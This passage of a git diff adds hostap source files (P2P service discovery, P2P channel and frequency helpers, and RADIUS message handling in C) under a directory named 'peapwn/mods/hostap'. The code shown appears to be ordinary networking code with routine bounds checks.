WPA_GET_LE16(pos); + pos += 2; + p2p_dbg(p2p, "dialog_token=%u status_code=%u frag_id=%d more_frags=%d " + "comeback_delay=%u", + dialog_token, status_code, frag_id, more_frags, + comeback_delay); + /* TODO: check frag_id match */ + if (status_code) { + p2p_dbg(p2p, "Service Discovery failed: status code %u", + status_code); + return; + } + + if (*pos != WLAN_EID_ADV_PROTO) { + p2p_dbg(p2p, "Unexpected IE in GAS Comeback Response: %u", + *pos); + return; + } + pos++; + + slen = *pos++; + next = pos + slen; + if (next > end || slen < 2) { + p2p_dbg(p2p, "Invalid IE in GAS Comeback Response"); + return; + } + pos++; /* skip QueryRespLenLimit and PAME-BI */ + + if (*pos != ACCESS_NETWORK_QUERY_PROTOCOL) { + p2p_dbg(p2p, "Unsupported GAS advertisement protocol id %u", + *pos); + return; + } + + pos = next; + /* Query Response */ + if (pos + 2 > end) { + p2p_dbg(p2p, "Too short Query Response"); + return; + } + slen = WPA_GET_LE16(pos); + pos += 2; + p2p_dbg(p2p, "Query Response Length: %d", slen); + if (pos + slen > end) { + p2p_dbg(p2p, "Not enough Query Response data"); + return; + } + if (slen == 0) { + p2p_dbg(p2p, "No Query Response data"); + return; + } + end = pos + slen; + + if (p2p->sd_rx_resp) { + /* + * ANQP header is only included in the first fragment; rest of + * the fragments start with continue TLVs. + */ + goto skip_nqp_header; + } + + /* ANQP Query Response */ + if (pos + 4 > end) + return; + if (WPA_GET_LE16(pos) != ANQP_VENDOR_SPECIFIC) { + p2p_dbg(p2p, "Unsupported ANQP Info ID %u", WPA_GET_LE16(pos)); + return; + } + pos += 2; + + slen = WPA_GET_LE16(pos); + pos += 2; + p2p_dbg(p2p, "ANQP Query Response length: %u", slen); + if (slen < 3 + 1) { + p2p_dbg(p2p, "Invalid ANQP Query Response length"); + return; + } + if (pos + 4 > end) + return; + + if (WPA_GET_BE24(pos) != OUI_WFA) { + p2p_dbg(p2p, "Unsupported ANQP OUI %06x", WPA_GET_BE24(pos)); + return; + } + pos += 3; + + if (*pos != P2P_OUI_TYPE) { + p2p_dbg(p2p, "Unsupported ANQP vendor type %u", *pos); + return; + } + pos++; + + if (pos + 2 > end) + return; + p2p->sd_rx_update_indic = WPA_GET_LE16(pos); + p2p_dbg(p2p, "Service Update Indicator: %u", p2p->sd_rx_update_indic); + pos += 2; + +skip_nqp_header: + if (wpabuf_resize(&p2p->sd_rx_resp, end - pos) < 0) + return; + wpabuf_put_data(p2p->sd_rx_resp, pos, end - pos); + p2p_dbg(p2p, "Current SD reassembly buffer length: %u", + (unsigned int) wpabuf_len(p2p->sd_rx_resp)); + + if (more_frags) { + p2p_dbg(p2p, "More fragments remains"); + /* TODO: what would be a good size limit? */ + if (wpabuf_len(p2p->sd_rx_resp) > 64000) { + wpabuf_free(p2p->sd_rx_resp); + p2p->sd_rx_resp = NULL; + p2p_dbg(p2p, "Too long SD response - drop it"); + return; + } + p2p_send_gas_comeback_req(p2p, sa, dialog_token, rx_freq); + return; + } + + p2p->sd_peer->flags |= P2P_DEV_SD_INFO; + p2p->sd_peer->flags &= ~P2P_DEV_SD_SCHEDULE; + p2p->sd_peer = NULL; + + if (p2p->sd_query) { + if (!p2p->sd_query->for_all_peers) { + struct p2p_sd_query *q; + p2p_dbg(p2p, "Remove completed SD query %p", + p2p->sd_query); + q = p2p->sd_query; + p2p_unlink_sd_query(p2p, p2p->sd_query); + p2p_free_sd_query(q); + } + p2p->sd_query = NULL; + } + + if (p2p->cfg->sd_response) + p2p->cfg->sd_response(p2p->cfg->cb_ctx, sa, + p2p->sd_rx_update_indic, + wpabuf_head(p2p->sd_rx_resp), + wpabuf_len(p2p->sd_rx_resp)); + wpabuf_free(p2p->sd_rx_resp); + p2p->sd_rx_resp = NULL; + + p2p_continue_find(p2p); +} + + +void * p2p_sd_request(struct p2p_data *p2p, const u8 *dst, + const struct wpabuf *tlvs) +{ + struct p2p_sd_query *q; + + q = os_zalloc(sizeof(*q)); + if (q == NULL) + return NULL; + + if (dst) + os_memcpy(q->peer, dst, ETH_ALEN); + else + q->for_all_peers = 1; + + q->tlvs = wpabuf_dup(tlvs); + if (q->tlvs == NULL) { + p2p_free_sd_query(q); + return NULL; + } + + q->next = p2p->sd_queries; + p2p->sd_queries = q; + p2p_dbg(p2p, "Added SD Query %p", q); + + if (dst == NULL) { + struct p2p_device *dev; + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) + dev->flags &= ~P2P_DEV_SD_INFO; + } + + return q; +} + + +#ifdef CONFIG_WIFI_DISPLAY +void * p2p_sd_request_wfd(struct p2p_data *p2p, const u8 *dst, + const struct wpabuf *tlvs) +{ + struct p2p_sd_query *q; + q = p2p_sd_request(p2p, dst, tlvs); + if (q) + q->wsd = 1; + return q; +} +#endif /* CONFIG_WIFI_DISPLAY */ + + +void p2p_sd_service_update(struct p2p_data *p2p) +{ + p2p->srv_update_indic++; +} + + +int p2p_sd_cancel_request(struct p2p_data *p2p, void *req) +{ + if (p2p_unlink_sd_query(p2p, req)) { + p2p_dbg(p2p, "Cancel pending SD query %p", req); + p2p_free_sd_query(req); + return 0; + } + return -1; +} diff --git a/peapwn/mods/hostap/src/p2p/p2p_utils.c b/peapwn/mods/hostap/src/p2p/p2p_utils.c new file mode 100644 index 000000000..161a402ef --- /dev/null +++ b/peapwn/mods/hostap/src/p2p/p2p_utils.c @@ -0,0 +1,471 @@ +/* + * P2P - generic helper functions + * Copyright (c) 2009, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "p2p_i.h" + + +/** + * p2p_random - Generate random string for SSID and passphrase + * @buf: Buffer for returning the result + * @len: Number of octets to write to the buffer + * Returns: 0 on success, -1 on failure + * + * This function generates a random string using the following character set: + * 'A'-'Z', 'a'-'z', '0'-'9'. + */ +int p2p_random(char *buf, size_t len) +{ + u8 val; + size_t i; + u8 letters = 'Z' - 'A' + 1; + u8 numbers = 10; + + if (os_get_random((unsigned char *) buf, len)) + return -1; + /* Character set: 'A'-'Z', 'a'-'z', '0'-'9' */ + for (i = 0; i < len; i++) { + val = buf[i]; + val %= 2 * letters + numbers; + if (val < letters) + buf[i] = 'A' + val; + else if (val < 2 * letters) + buf[i] = 'a' + (val - letters); + else + buf[i] = '0' + (val - 2 * letters); + } + + return 0; +} + + +/** + * p2p_channel_to_freq - Convert channel info to frequency + * @op_class: Operating class + * @channel: Channel number + * Returns: Frequency in MHz or -1 if the specified channel is unknown + */ +int p2p_channel_to_freq(int op_class, int channel) +{ + /* Table E-4 in IEEE Std 802.11-2012 - Global operating classes */ + /* TODO: more operating classes */ + switch (op_class) { + case 81: + /* channels 1..13 */ + if (channel < 1 || channel > 13) + return -1; + return 2407 + 5 * channel; + case 82: + /* channel 14 */ + if (channel != 14) + return -1; + return 2414 + 5 * channel; + case 83: /* channels 1..9; 40 MHz */ + case 84: /* channels 5..13; 40 MHz */ + if (channel < 1 || channel > 13) + return -1; + return 2407 + 5 * channel; + case 115: /* channels 36,40,44,48; indoor only */ + case 118: /* channels 52,56,60,64; dfs */ + if (channel < 36 || channel > 64) + return -1; + return 5000 + 5 * channel; + case 124: /* channels 149,153,157,161 */ + case 125: /* channels 149,153,157,161,165,169 */ + if (channel < 149 || channel > 161) + return -1; + return 5000 + 5 * channel; + case 116: /* channels 36,44; 40 MHz; indoor only */ + case 117: /* channels 40,48; 40 MHz; indoor only */ + case 119: /* channels 52,60; 40 MHz; dfs */ + case 120: /* channels 56,64; 40 MHz; dfs */ + if (channel < 36 || channel > 64) + return -1; + return 5000 + 5 * channel; + case 126: /* channels 149,157; 40 MHz */ + case 127: /* channels 153,161; 40 MHz */ + if (channel < 149 || channel > 161) + return -1; + return 5000 + 5 * channel; + case 128: /* center freqs 42, 58, 106, 122, 138, 155; 80 MHz */ + if (channel < 36 || channel > 161) + return -1; + return 5000 + 5 * channel; + } + return -1; +} + + +/** + * p2p_freq_to_channel - Convert frequency into channel info + * @op_class: Buffer for returning operating class + * @channel: Buffer for returning channel number + * Returns: 0 on success, -1 if the specified frequency is unknown + */ +int p2p_freq_to_channel(unsigned int freq, u8 *op_class, u8 *channel) +{ + /* TODO: more operating classes */ + if (freq >= 2412 && freq <= 2472) { + if ((freq - 2407) % 5) + return -1; + + *op_class = 81; /* 2.407 GHz, channels 1..13 */ + *channel = (freq - 2407) / 5; + return 0; + } + + if (freq == 2484) { + *op_class = 82; /* channel 14 */ + *channel = 14; + return 0; + } + + if (freq >= 5180 && freq <= 5240) { + if ((freq - 5000) % 5) + return -1; + + *op_class = 115; /* 5 GHz, channels 36..48 */ + *channel = (freq - 5000) / 5; + return 0; + } + + if (freq >= 5745 && freq <= 5805) { + if ((freq - 5000) % 5) + return -1; + + *op_class = 124; /* 5 GHz, channels 149..161 */ + *channel = (freq - 5000) / 5; + return 0; + } + + return -1; +} + + +static void p2p_reg_class_intersect(const struct p2p_reg_class *a, + const struct p2p_reg_class *b, + struct p2p_reg_class *res) +{ + size_t i, j; + + res->reg_class = a->reg_class; + + for (i = 0; i < a->channels; i++) { + for (j = 0; j < b->channels; j++) { + if (a->channel[i] != b->channel[j]) + continue; + res->channel[res->channels] = a->channel[i]; + res->channels++; + if (res->channels == P2P_MAX_REG_CLASS_CHANNELS) + return; + } + } +} + + +/** + * p2p_channels_intersect - Intersection of supported channel lists + * @a: First set of supported channels + * @b: Second set of supported channels + * @res: Data structure for returning the intersection of support channels + * + * This function can be used to find a common set of supported channels. Both + * input channels sets are assumed to use the same country code. If different + * country codes are used, the regulatory class numbers may not be matched + * correctly and results are undefined. + */ +void p2p_channels_intersect(const struct p2p_channels *a, + const struct p2p_channels *b, + struct p2p_channels *res) +{ + size_t i, j; + + os_memset(res, 0, sizeof(*res)); + + for (i = 0; i < a->reg_classes; i++) { + const struct p2p_reg_class *a_reg = &a->reg_class[i]; + for (j = 0; j < b->reg_classes; j++) { + const struct p2p_reg_class *b_reg = &b->reg_class[j]; + if (a_reg->reg_class != b_reg->reg_class) + continue; + p2p_reg_class_intersect( + a_reg, b_reg, + &res->reg_class[res->reg_classes]); + if (res->reg_class[res->reg_classes].channels) { + res->reg_classes++; + if (res->reg_classes == P2P_MAX_REG_CLASSES) + return; + } + } + } +} + + +static void p2p_op_class_union(struct p2p_reg_class *cl, + const struct p2p_reg_class *b_cl) +{ + size_t i, j; + + for (i = 0; i < b_cl->channels; i++) { + for (j = 0; j < cl->channels; j++) { + if (b_cl->channel[i] == cl->channel[j]) + break; + } + if (j == cl->channels) { + if (cl->channels == P2P_MAX_REG_CLASS_CHANNELS) + return; + cl->channel[cl->channels++] = b_cl->channel[i]; + } + } +} + + +/** + * p2p_channels_union - Union of channel lists + * @a: First set of channels + * @b: Second set of channels + * @res: Data structure for returning the union of channels + */ +void p2p_channels_union(const struct p2p_channels *a, + const struct p2p_channels *b, + struct p2p_channels *res) +{ + size_t i, j; + + if (a != res) + os_memcpy(res, a, sizeof(*res)); + + for (i = 0; i < res->reg_classes; i++) { + struct p2p_reg_class *cl = &res->reg_class[i]; + for (j = 0; j < b->reg_classes; j++) { + const struct p2p_reg_class *b_cl = &b->reg_class[j]; + if (cl->reg_class != b_cl->reg_class) + continue; + p2p_op_class_union(cl, b_cl); + } + } + + for (j = 0; j < b->reg_classes; j++) { + const struct p2p_reg_class *b_cl = &b->reg_class[j]; + + for (i = 0; i < res->reg_classes; i++) { + struct p2p_reg_class *cl = &res->reg_class[i]; + if (cl->reg_class == b_cl->reg_class) + break; + } + + if (i == res->reg_classes) { + if (res->reg_classes == P2P_MAX_REG_CLASSES) + return; + os_memcpy(&res->reg_class[res->reg_classes++], + b_cl, sizeof(struct p2p_reg_class)); + } + } +} + + +void p2p_channels_remove_freqs(struct p2p_channels *chan, + const struct wpa_freq_range_list *list) +{ + size_t o, c; + + if (list == NULL) + return; + + o = 0; + while (o < chan->reg_classes) { + struct p2p_reg_class *op = &chan->reg_class[o]; + + c = 0; + while (c < op->channels) { + int freq = p2p_channel_to_freq(op->reg_class, + op->channel[c]); + if (freq > 0 && freq_range_list_includes(list, freq)) { + op->channels--; + os_memmove(&op->channel[c], + &op->channel[c + 1], + op->channels - c); + } else + c++; + } + + if (op->channels == 0) { + chan->reg_classes--; + os_memmove(&chan->reg_class[o], &chan->reg_class[o + 1], + (chan->reg_classes - o) * + sizeof(struct p2p_reg_class)); + } else + o++; + } +} + + +/** + * p2p_channels_includes - Check whether a channel is included in the list + * @channels: List of supported channels + * @reg_class: Regulatory class of the channel to search + * @channel: Channel number of the channel to search + * Returns: 1 if channel was found or 0 if not + */ +int p2p_channels_includes(const struct p2p_channels *channels, u8 reg_class, + u8 channel) +{ + size_t i, j; + for (i = 0; i < channels->reg_classes; i++) { + const struct p2p_reg_class *reg = &channels->reg_class[i]; + if (reg->reg_class != reg_class) + continue; + for (j = 0; j < reg->channels; j++) { + if (reg->channel[j] == channel) + return 1; + } + } + return 0; +} + + +int p2p_channels_includes_freq(const struct p2p_channels *channels, + unsigned int freq) +{ + size_t i, j; + for (i = 0; i < channels->reg_classes; i++) { + const struct p2p_reg_class *reg = &channels->reg_class[i]; + for (j = 0; j < reg->channels; j++) { + if (p2p_channel_to_freq(reg->reg_class, + reg->channel[j]) == (int) freq) + return 1; + } + } + return 0; +} + + +int p2p_supported_freq(struct p2p_data *p2p, unsigned int freq) +{ + u8 op_reg_class, op_channel; + if (p2p_freq_to_channel(freq, &op_reg_class, &op_channel) < 0) + return 0; + return p2p_channels_includes(&p2p->cfg->channels, op_reg_class, + op_channel); +} + + +int p2p_supported_freq_go(struct p2p_data *p2p, unsigned int freq) +{ + u8 op_reg_class, op_channel; + if (p2p_freq_to_channel(freq, &op_reg_class, &op_channel) < 0) + return 0; + return p2p_channels_includes(&p2p->cfg->channels, op_reg_class, + op_channel) && + !freq_range_list_includes(&p2p->no_go_freq, freq); +} + + +int p2p_supported_freq_cli(struct p2p_data *p2p, unsigned int freq) +{ + u8 op_reg_class, op_channel; + if (p2p_freq_to_channel(freq, &op_reg_class, &op_channel) < 0) + return 0; + return p2p_channels_includes(&p2p->cfg->channels, op_reg_class, + op_channel) || + p2p_channels_includes(&p2p->cfg->cli_channels, op_reg_class, + op_channel); +} + + +unsigned int p2p_get_pref_freq(struct p2p_data *p2p, + const struct p2p_channels *channels) +{ + unsigned int i; + int freq = 0; + + if (channels == NULL) { + if (p2p->cfg->num_pref_chan) { + freq = p2p_channel_to_freq( + p2p->cfg->pref_chan[0].op_class, + p2p->cfg->pref_chan[0].chan); + if (freq < 0) + freq = 0; + } + return freq; + } + + for (i = 0; p2p->cfg->pref_chan && i < p2p->cfg->num_pref_chan; i++) { + freq = p2p_channel_to_freq(p2p->cfg->pref_chan[i].op_class, + p2p->cfg->pref_chan[i].chan); + if (p2p_channels_includes_freq(channels, freq)) + return freq; + } + + return 0; +} + + +void p2p_channels_dump(struct p2p_data *p2p, const char *title, + const struct p2p_channels *chan) +{ + char buf[500], *pos, *end; + size_t i, j; + int ret; + + pos = buf; + end = pos + sizeof(buf); + + for (i = 0; i < chan->reg_classes; i++) { + const struct p2p_reg_class *c; + c = &chan->reg_class[i]; + ret = os_snprintf(pos, end - pos, " %u:", c->reg_class); + if (ret < 0 || ret >= end - pos) + break; + pos += ret; + + for (j = 0; j < c->channels; j++) { + ret = os_snprintf(pos, end - pos, "%s%u", + j == 0 ? "" : ",", + c->channel[j]); + if (ret < 0 || ret >= end - pos) + break; + pos += ret; + } + } + *pos = '\0'; + + p2p_dbg(p2p, "%s:%s", title, buf); +} + + +int p2p_channel_select(struct p2p_channels *chans, const int *classes, + u8 *op_class, u8 *op_channel) +{ + unsigned int i, j, r; + + for (j = 0; classes[j]; j++) { + for (i = 0; i < chans->reg_classes; i++) { + struct p2p_reg_class *c = &chans->reg_class[i]; + + if (c->channels == 0) + continue; + + if (c->reg_class == classes[j]) { + /* + * Pick one of the available channels in the + * operating class at random. + */ + os_get_random((u8 *) &r, sizeof(r)); + r %= c->channels; + *op_class = c->reg_class; + *op_channel = c->channel[r]; + return 0; + } + } + } + + return -1; +} diff --git a/peapwn/mods/hostap/src/radius/.gitignore b/peapwn/mods/hostap/src/radius/.gitignore new file mode 100644 index 000000000..a89a1f927 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/.gitignore @@ -0,0 +1 @@ +libradius.a diff --git a/peapwn/mods/hostap/src/radius/Makefile b/peapwn/mods/hostap/src/radius/Makefile new file mode 100644 index 000000000..b5d063dac --- /dev/null +++ b/peapwn/mods/hostap/src/radius/Makefile @@ -0,0 +1,22 @@ +all: libradius.a + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov libradius.a + +install: + @echo Nothing to be made. + + +include ../lib.rules + +CFLAGS += -DCONFIG_IPV6 + +LIB_OBJS= \ + radius.o \ + radius_client.o \ + radius_server.o + +libradius.a: $(LIB_OBJS) + $(AR) crT $@ $? + +-include $(OBJS:%.o=%.d) diff --git a/peapwn/mods/hostap/src/radius/radius.c b/peapwn/mods/hostap/src/radius/radius.c new file mode 100644 index 000000000..494f92d19 --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius.c @@ -0,0 +1,1578 @@ +/* + * RADIUS message processing + * Copyright (c) 2002-2009, 2011-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/wpabuf.h" +#include "crypto/md5.h" +#include "crypto/crypto.h" +#include "radius.h" + + +/** + * struct radius_msg - RADIUS message structure for new and parsed messages + */ +struct radius_msg { + /** + * buf - Allocated buffer for RADIUS message + */ + struct wpabuf *buf; + + /** + * hdr - Pointer to the RADIUS header in buf + */ + struct radius_hdr *hdr; + + /** + * attr_pos - Array of indexes to attributes + * + * The values are number of bytes from buf to the beginning of + * struct radius_attr_hdr. + */ + size_t *attr_pos; + + /** + * attr_size - Total size of the attribute pointer array + */ + size_t attr_size; + + /** + * attr_used - Total number of attributes in the array + */ + size_t attr_used; +}; + + +struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg) +{ + return msg->hdr; +} + + +struct wpabuf * radius_msg_get_buf(struct radius_msg *msg) +{ + return msg->buf; +} + + +static struct radius_attr_hdr * +radius_get_attr_hdr(struct radius_msg *msg, int idx) +{ + return (struct radius_attr_hdr *) + (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]); +} + + +static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier) +{ + msg->hdr->code = code; + msg->hdr->identifier = identifier; +} + + +static int radius_msg_initialize(struct radius_msg *msg) +{ + msg->attr_pos = os_calloc(RADIUS_DEFAULT_ATTR_COUNT, + sizeof(*msg->attr_pos)); + if (msg->attr_pos == NULL) + return -1; + + msg->attr_size = RADIUS_DEFAULT_ATTR_COUNT; + msg->attr_used = 0; + + return 0; +} + + +/** + * radius_msg_new - Create a new RADIUS message + * @code: Code for RADIUS header + * @identifier: Identifier for RADIUS header + * Returns: Context for RADIUS message or %NULL on failure + * + * The caller is responsible for freeing the returned data with + * radius_msg_free(). + */ +struct radius_msg * radius_msg_new(u8 code, u8 identifier) +{ + struct radius_msg *msg; + + msg = os_zalloc(sizeof(*msg)); + if (msg == NULL) + return NULL; + + msg->buf = wpabuf_alloc(RADIUS_DEFAULT_MSG_SIZE); + if (msg->buf == NULL || radius_msg_initialize(msg)) { + radius_msg_free(msg); + return NULL; + } + msg->hdr = wpabuf_put(msg->buf, sizeof(struct radius_hdr)); + + radius_msg_set_hdr(msg, code, identifier); + + return msg; +} + + +/** + * radius_msg_free - Free a RADIUS message + * @msg: RADIUS message from radius_msg_new() or radius_msg_parse() + */ +void radius_msg_free(struct radius_msg *msg) +{ + if (msg == NULL) + return; + + wpabuf_free(msg->buf); + os_free(msg->attr_pos); + os_free(msg); +} + + +static const char *radius_code_string(u8 code) +{ + switch (code) { + case RADIUS_CODE_ACCESS_REQUEST: return "Access-Request"; + case RADIUS_CODE_ACCESS_ACCEPT: return "Access-Accept"; + case RADIUS_CODE_ACCESS_REJECT: return "Access-Reject"; + case RADIUS_CODE_ACCOUNTING_REQUEST: return "Accounting-Request"; + case RADIUS_CODE_ACCOUNTING_RESPONSE: return "Accounting-Response"; + case RADIUS_CODE_ACCESS_CHALLENGE: return "Access-Challenge"; + case RADIUS_CODE_STATUS_SERVER: return "Status-Server"; + case RADIUS_CODE_STATUS_CLIENT: return "Status-Client"; + case RADIUS_CODE_RESERVED: return "Reserved"; + case RADIUS_CODE_DISCONNECT_REQUEST: return "Disconnect-Request"; + case RADIUS_CODE_DISCONNECT_ACK: return "Disconnect-ACK"; + case RADIUS_CODE_DISCONNECT_NAK: return "Disconnect-NAK"; + case RADIUS_CODE_COA_REQUEST: return "CoA-Request"; + case RADIUS_CODE_COA_ACK: return "CoA-ACK"; + case RADIUS_CODE_COA_NAK: return "CoA-NAK"; + default: return "?Unknown?"; + } +} + + +struct radius_attr_type { + u8 type; + char *name; + enum { + RADIUS_ATTR_UNDIST, RADIUS_ATTR_TEXT, RADIUS_ATTR_IP, + RADIUS_ATTR_HEXDUMP, RADIUS_ATTR_INT32, RADIUS_ATTR_IPV6 + } data_type; +}; + +static struct radius_attr_type radius_attrs[] = +{ + { RADIUS_ATTR_USER_NAME, "User-Name", RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_USER_PASSWORD, "User-Password", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_NAS_IP_ADDRESS, "NAS-IP-Address", RADIUS_ATTR_IP }, + { RADIUS_ATTR_NAS_PORT, "NAS-Port", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_FRAMED_MTU, "Framed-MTU", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_REPLY_MESSAGE, "Reply-Message", RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_STATE, "State", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_CLASS, "Class", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_VENDOR_SPECIFIC, "Vendor-Specific", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_SESSION_TIMEOUT, "Session-Timeout", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_IDLE_TIMEOUT, "Idle-Timeout", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_TERMINATION_ACTION, "Termination-Action", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_CALLED_STATION_ID, "Called-Station-Id", + RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_CALLING_STATION_ID, "Calling-Station-Id", + RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_NAS_IDENTIFIER, "NAS-Identifier", RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_PROXY_STATE, "Proxy-State", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_ACCT_STATUS_TYPE, "Acct-Status-Type", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_DELAY_TIME, "Acct-Delay-Time", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_INPUT_OCTETS, "Acct-Input-Octets", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_OUTPUT_OCTETS, "Acct-Output-Octets", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_SESSION_ID, "Acct-Session-Id", RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_ACCT_AUTHENTIC, "Acct-Authentic", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_SESSION_TIME, "Acct-Session-Time", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_INPUT_PACKETS, "Acct-Input-Packets", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_OUTPUT_PACKETS, "Acct-Output-Packets", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_TERMINATE_CAUSE, "Acct-Terminate-Cause", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_MULTI_SESSION_ID, "Acct-Multi-Session-Id", + RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_ACCT_LINK_COUNT, "Acct-Link-Count", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_INPUT_GIGAWORDS, "Acct-Input-Gigawords", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_ACCT_OUTPUT_GIGAWORDS, "Acct-Output-Gigawords", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_EVENT_TIMESTAMP, "Event-Timestamp", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_NAS_PORT_TYPE, "NAS-Port-Type", RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_TUNNEL_TYPE, "Tunnel-Type", RADIUS_ATTR_HEXDUMP }, + { RADIUS_ATTR_TUNNEL_MEDIUM_TYPE, "Tunnel-Medium-Type", + RADIUS_ATTR_HEXDUMP }, + { RADIUS_ATTR_TUNNEL_PASSWORD, "Tunnel-Password", + RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_CONNECT_INFO, "Connect-Info", RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_EAP_MESSAGE, "EAP-Message", RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_MESSAGE_AUTHENTICATOR, "Message-Authenticator", + RADIUS_ATTR_UNDIST }, + { RADIUS_ATTR_TUNNEL_PRIVATE_GROUP_ID, "Tunnel-Private-Group-Id", + RADIUS_ATTR_HEXDUMP }, + { RADIUS_ATTR_ACCT_INTERIM_INTERVAL, "Acct-Interim-Interval", + RADIUS_ATTR_INT32 }, + { RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, "Chargeable-User-Identity", + RADIUS_ATTR_TEXT }, + { RADIUS_ATTR_NAS_IPV6_ADDRESS, "NAS-IPv6-Address", RADIUS_ATTR_IPV6 }, + { RADIUS_ATTR_ERROR_CAUSE, "Error-Cause", RADIUS_ATTR_INT32 } +}; +#define RADIUS_ATTRS ARRAY_SIZE(radius_attrs) + + +static struct radius_attr_type *radius_get_attr_type(u8 type) +{ + size_t i; + + for (i = 0; i < RADIUS_ATTRS; i++) { + if (type == radius_attrs[i].type) + return &radius_attrs[i]; + } + + return NULL; +} + + +static void print_char(char c) +{ + if (c >= 32 && c < 127) + printf("%c", c); + else + printf("<%02x>", c); +} + + +static void radius_msg_dump_attr(struct radius_attr_hdr *hdr) +{ + struct radius_attr_type *attr; + int i, len; + unsigned char *pos; + + attr = radius_get_attr_type(hdr->type); + + printf(" Attribute %d (%s) length=%d\n", + hdr->type, attr ? attr->name : "?Unknown?", hdr->length); + + if (attr == NULL || hdr->length < sizeof(struct radius_attr_hdr)) + return; + + len = hdr->length - sizeof(struct radius_attr_hdr); + pos = (unsigned char *) (hdr + 1); + + switch (attr->data_type) { + case RADIUS_ATTR_TEXT: + printf(" Value: '"); + for (i = 0; i < len; i++) + print_char(pos[i]); + printf("'\n"); + break; + + case RADIUS_ATTR_IP: + if (len == 4) { + struct in_addr addr; + os_memcpy(&addr, pos, 4); + printf(" Value: %s\n", inet_ntoa(addr)); + } else + printf(" Invalid IP address length %d\n", len); + break; + +#ifdef CONFIG_IPV6 + case RADIUS_ATTR_IPV6: + if (len == 16) { + char buf[128]; + const char *atxt; + struct in6_addr *addr = (struct in6_addr *) pos; + atxt = inet_ntop(AF_INET6, addr, buf, sizeof(buf)); + printf(" Value: %s\n", atxt ? atxt : "?"); + } else + printf(" Invalid IPv6 address length %d\n", len); + break; +#endif /* CONFIG_IPV6 */ + + case RADIUS_ATTR_HEXDUMP: + case RADIUS_ATTR_UNDIST: + printf(" Value:"); + for (i = 0; i < len; i++) + printf(" %02x", pos[i]); + printf("\n"); + break; + + case RADIUS_ATTR_INT32: + if (len == 4) + printf(" Value: %u\n", WPA_GET_BE32(pos)); + else + printf(" Invalid INT32 length %d\n", len); + break; + + default: + break; + } +} + + +void radius_msg_dump(struct radius_msg *msg) +{ + size_t i; + + printf("RADIUS message: code=%d (%s) identifier=%d length=%d\n", + msg->hdr->code, radius_code_string(msg->hdr->code), + msg->hdr->identifier, be_to_host16(msg->hdr->length)); + + for (i = 0; i < msg->attr_used; i++) { + struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i); + radius_msg_dump_attr(attr); + } +} + + +int radius_msg_finish(struct radius_msg *msg, const u8 *secret, + size_t secret_len) +{ + if (secret) { + u8 auth[MD5_MAC_LEN]; + struct radius_attr_hdr *attr; + + os_memset(auth, 0, MD5_MAC_LEN); + attr = radius_msg_add_attr(msg, + RADIUS_ATTR_MESSAGE_AUTHENTICATOR, + auth, MD5_MAC_LEN); + if (attr == NULL) { + wpa_printf(MSG_WARNING, "RADIUS: Could not add " + "Message-Authenticator"); + return -1; + } + msg->hdr->length = host_to_be16(wpabuf_len(msg->buf)); + hmac_md5(secret, secret_len, wpabuf_head(msg->buf), + wpabuf_len(msg->buf), (u8 *) (attr + 1)); + } else + msg->hdr->length = host_to_be16(wpabuf_len(msg->buf)); + + if (wpabuf_len(msg->buf) > 0xffff) { + wpa_printf(MSG_WARNING, "RADIUS: Too long message (%lu)", + (unsigned long) wpabuf_len(msg->buf)); + return -1; + } + return 0; +} + + +int radius_msg_finish_srv(struct radius_msg *msg, const u8 *secret, + size_t secret_len, const u8 *req_authenticator) +{ + u8 auth[MD5_MAC_LEN]; + struct radius_attr_hdr *attr; + const u8 *addr[4]; + size_t len[4]; + + os_memset(auth, 0, MD5_MAC_LEN); + attr = radius_msg_add_attr(msg, RADIUS_ATTR_MESSAGE_AUTHENTICATOR, + auth, MD5_MAC_LEN); + if (attr == NULL) { + printf("WARNING: Could not add Message-Authenticator\n"); + return -1; + } + msg->hdr->length = host_to_be16(wpabuf_len(msg->buf)); + 